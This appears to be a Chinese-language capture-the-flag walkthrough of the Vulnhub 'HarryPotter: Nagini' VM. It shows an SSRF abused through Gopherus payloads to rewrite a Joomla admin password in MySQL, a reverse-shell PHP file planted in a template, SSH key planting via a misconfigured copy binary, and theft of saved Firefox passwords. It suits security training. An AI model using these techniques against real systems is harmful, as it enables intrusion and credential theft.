【Vulnhub】HarryPotter Nagini
【Vulnhub】HarryPotter: Nagini
Description:
Nagini is the 2nd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.
信息收集
fscan 扫描靶机目标IP为:192.168.1.5

nmap 扫描目标IP全端口和服务

发现开放了 22 和 80
查看 80 端口开放的 web 服务页面

dirsearch 扫描目标目录

分别访问两个目录 /joomla/ 和 /joomla/administrator/


发现是 Joomla CMS
那就用 joomscan 工具
joomscan -u http://192.168.1.5/joomla
这里能下载 joomscan 的配置文件看看

在 configuration.php.bak 里看到了 user 用户名,数据库名 joomla

然后就没有别的信息了,,,之后我又用 ffuf 和 gobuster 分别都尝试目录扫描
可以看到有一个 note.txt 文件,查看

翻译过来
“开发人员你们好,我将使用我们新的 HTTP3 服务器 https://quic.nagini.hogwarts 进行进一步交流。
请所有开发人员定期访问该服务器,查看最新公告。谢谢,site_amdin”
这里需要搭建 quiche
搭建完成之后,进入 quiche/target/debug/examples 目录,使用 http3 访问一下靶机
/http3-client https://192.168.1.5
能看到返回的 html 代码中提到了 /internalResourceFeTcher.php 页面和 bak 文件,先访问一下 internalResourceFeTcher.php 页面

随便输入一个 111

可以看到 url 发生变化了,也就是说传入参数为 url=111 了
那么试试是不是 ssrf,看看服务器是不是会想目标url发送请求

漏洞利用
根据前面收集到的信息
使用 Gopherus 工具进行攻击
git clone https://github.com/tarunkant/Gopherus.git #使用python2运行
python2 gopherus.py --exploit mysql
goblin
show databases;

将产生的 payload 粘贴到输入框中(点击 Fetch 之后多刷新几次就出现了)

可以看到出来的结果是 information_schema、joomla
接下来继续生成 payload:查看 joomla 数据库中的数据表


继续生成 payload:查看 joomla_user 表中的数据


这里倒数第二行看到一个用户邮箱 sit_admin@nagini.hogwarts 还有后面的加密后的密码
尝试了一下无法解密,那就自己生成一个加密后的密码,更改上去

构造更改用户密码 payload:use joomla; update joomla_users set password='76a2173be6393254e72ffa4d6df1030a' where email='site_admin@nagini.hogwarts';


可以看到更换成功
使用 site_admin 和 passwd登录 /joomla/administrator 管理员页面

点击 Templates 进入 Protostar Details and Files 中,可以看到这里全是 php 文件管理,可以添加编辑 php 文件
将 kali 自带的反弹shell 文件(/usr/share/webshell文件夹中的)内容编辑进新建立的 shell.php 文件

之后,kali 进行 nc 监听,进入http://192.168.1.5/joomla/templates/protostar/shell.php

反弹成功
提权
在 var/www/html/ 文件夹中发现第一个 flog

在 home 中发现 hermoine 和 snape 两个用户目录,进入 hermoine 中发现第二个 flog 但是没有权限访问

进入 snape 目录 ls -la 发现一个隐藏的 txt 文件,cat一下

base64解码得到密码:Love@lilly

那就应该是 snape 用户的ssh密码了,连接

然后再次进入 hermoine 查看 flog,失败...但是发现 bin 文件夹中有一个 su_cp

经过查看 --help 发现 su_sp 功能就是复制粘贴。
那么我们生成 ssh 密钥,复制到 hermoine 用户中
先生成 ssh 密钥

将 abc.pub 复制成 authorized_keys 文件,然后 python3 开启本地 http 服务
在 snape 用户上将文件 wget 下来

然后文件复制到 hermoine 的 .ssh 目录中
./su_cp /home/snape/authorized_keys /home/hermoine/.ssh/authorized_keys

ssh hermoine@192.168.1.5 -i abc

成功 hermoine 用户 ssh 登录

拿到第二个 flog。
查看用户目录中所有隐藏文件

看到有一个 .mozilla 文件夹(另一个 .gnupg 文件夹已经看过了,是空的),里面有一个 firefox 文件夹
开启个 http 服务,然后在 kali 里面将其 wget 下来
wget -r -np -nH -R index.html http://192.168.1.5:8888/.mozilla/

使用 firefox_decrypt 工具解析
python firefox_decrypt.py 1/.mozilla/firefox

得到 root 用户名的密码 @Alohomora#123

连接成功!获取最后的 flog

浙公网安备 33010602011771号